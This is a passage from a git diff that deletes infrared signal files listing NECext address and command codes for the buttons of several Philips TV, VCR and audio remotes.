00 00 -# -name: KEY_E -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir deleted file mode 100644 index 322d532b1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RC8861/1,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 00 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0C 00 00 00 -# -name: shift_-/-- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0D 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: shift_ch- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: shift_vol+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: shift_vol- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: shift_ch+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: shift_ch- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: shift_eight -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2B 00 00 00 -# -name: shift_nine -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 -# -name: shift_seven -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3F 00 00 00 -# -name: shift_mute -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 40 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir deleted file mode 100644 index cd1d94bbe..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RCLE011/0,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: i+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: Tune -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: Square -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: Program+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: Program- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: screendown -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: screenup -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: question -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: Out -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 71 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir deleted file mode 100644 index 4746aeafd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RD6834/20,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 09 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 10 00 00 00 -# -name: VOL_DWN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 11 00 00 00 -# -name: SHUFFLE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 1D 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 20 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 21 00 00 00 -# -name: SCAN -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 2B 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 30 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 14 00 00 00 -command: 36 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir deleted file mode 100644 index 2c78fc49d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RT150/5,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: Tracking -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: Timer -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: Still -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: SP/LP -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 70 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 71 00 00 00 -# -name: Monitor -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7A 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7D 00 00 00 -# -name: Cassette_Eject -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir deleted file mode 100644 index 3a68ef63c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_RU120/0,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: SHIFT_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: SHIFT_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: SHIFT_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: SHIFT_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir deleted file mode 100644 index ff86150f6..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC-RU-520/5,-1.ir +++ /dev/null @@ -1,560 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: tv/0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: vcr/0 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 00 00 00 00 -# -name: tv/1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: vcr/1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 01 00 00 00 -# -name: tv/2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: vcr/2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 02 00 00 00 -# -name: tv/3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: vcr/3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 03 00 00 00 -# -name: tv/4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: vcr/4 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 04 00 00 00 -# -name: tv/5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: vcr/5 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 05 00 00 00 -# -name: tv/6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: vcr/6 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 06 00 00 00 -# -name: tv/7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: vcr/7 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 07 00 00 00 -# -name: tv/8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: vcr/8 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 08 00 00 00 -# -name: tv/9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: vcr/9 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 09 00 00 00 -# -name: tv/digits -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: vcr/digits -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0A 00 00 00 -# -name: tv/sdigits -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: vcr/stt.suspend -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0B 00 00 00 -# -name: tv/standby -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: vcr/standby -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0C 00 00 00 -# -name: tv/mute -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: tv/s1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: vcr/s1 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0E 00 00 00 -# -name: tv/sext -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: tv/sok -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: vcr/select -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 0F 00 00 00 -# -name: tv/volume+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: tv/volume- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: tv/s5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: vcr/tt.suspend -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 1D 00 00 00 -# -name: tv/program+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: vcr/program+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 20 00 00 00 -# -name: tv/program- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: vcr/program- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 21 00 00 00 -# -name: tv/s0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: tv/smute -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: vcr/sbackward -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 25 00 00 00 -# -name: vcr/sforward -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 26 00 00 00 -# -name: tv/tt.suspend -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: vcr/spause -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 29 00 00 00 -# -name: tv/s3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: tv/tt.enlarge -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: tv/s4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: tv/s2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: vcr/pause -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 30 00 00 00 -# -name: vcr/sdisplay -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 31 00 00 00 -# -name: vcr/backward -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 32 00 00 00 -# -name: vcr/forward -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 34 00 00 00 -# -name: vcr/play -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 35 00 00 00 -# -name: vcr/stop -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 36 00 00 00 -# -name: vcr/record -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 37 00 00 00 -# -name: tv/ext -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: vcr/ext -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 38 00 00 00 -# -name: vcr/stt.enlarge -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3A 00 00 00 -# -name: tv/text -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: vcr/text -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3C 00 00 00 -# -name: vcr/stext -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 3D 00 00 00 -# -name: tv/select -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: vcr/tt.enlarge -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 45 00 00 00 -# -name: vcr/s3 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 48 00 00 00 -# -name: vcr/s2 -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 49 00 00 00 -# -name: tv/s9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: tv/s7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: tv/sprogram+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: vcr/sprogram+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 50 00 00 00 -# -name: tv/sprogram- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: vcr/sprogram- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 51 00 00 00 -# -name: tv/menu -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: vcr/menu -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 52 00 00 00 -# -name: vcr/smenu -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 53 00 00 00 -# -name: tv/svol- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: vcr/svol- -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 55 00 00 00 -# -name: tv/svol+ -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: vcr/svol+ -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 56 00 00 00 -# -name: tv/ok -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: vcr/ok -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 57 00 00 00 -# -name: tv/s6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: tv/red -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: tv/green -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: tv/yellow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: tv/blue -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: tv/grey -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: vcr/splay -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 70 00 00 00 -# -name: vcr/sstop -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 71 00 00 00 -# -name: tv/smenu -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7A 00 00 00 -# -name: vcr/sok -type: parsed -protocol: NECext -address: 05 00 00 00 -command: 7D 00 00 00 -# -name: tv/s8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir deleted file mode 100644 index 7a2ef0328..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/0,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0A 00 00 00 -# -name: Shift_-/-- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0B 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: Shift_One -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: Shift_AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: Shift_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: Shift_Five -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 1D 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: Shift_Zero -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: Shift_Mute -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: Shift_Three -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: Shift_Four -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: Shift_Two -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2E 00 00 00 -# -name: AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3F 00 00 00 -# -name: Shift_Nine -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4D 00 00 00 -# -name: Shift_Seven -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 4E 00 00 00 -# -name: Shift_Up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 50 00 00 00 -# -name: Shift_Down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 52 00 00 00 -# -name: Shift_Left -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 55 00 00 00 -# -name: Shift_Right -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 57 00 00 00 -# -name: Shift_Six -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 58 00 00 00 -# -name: Shift_Red -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6B 00 00 00 -# -name: Shift_Green -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6C 00 00 00 -# -name: Shift_Yellow -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6D 00 00 00 -# -name: Shift_Blue -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6E 00 00 00 -# -name: Shift_Power -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 6F 00 00 00 -# -name: Shift_Menu -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7A 00 00 00 -# -name: Shift_Eight -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir deleted file mode 100644 index bcb0273a9..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Philips/Unknown_SBC/6,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0 -type: parsed -protocol: NECext -address: 06 00 00 00 -command: 00 00 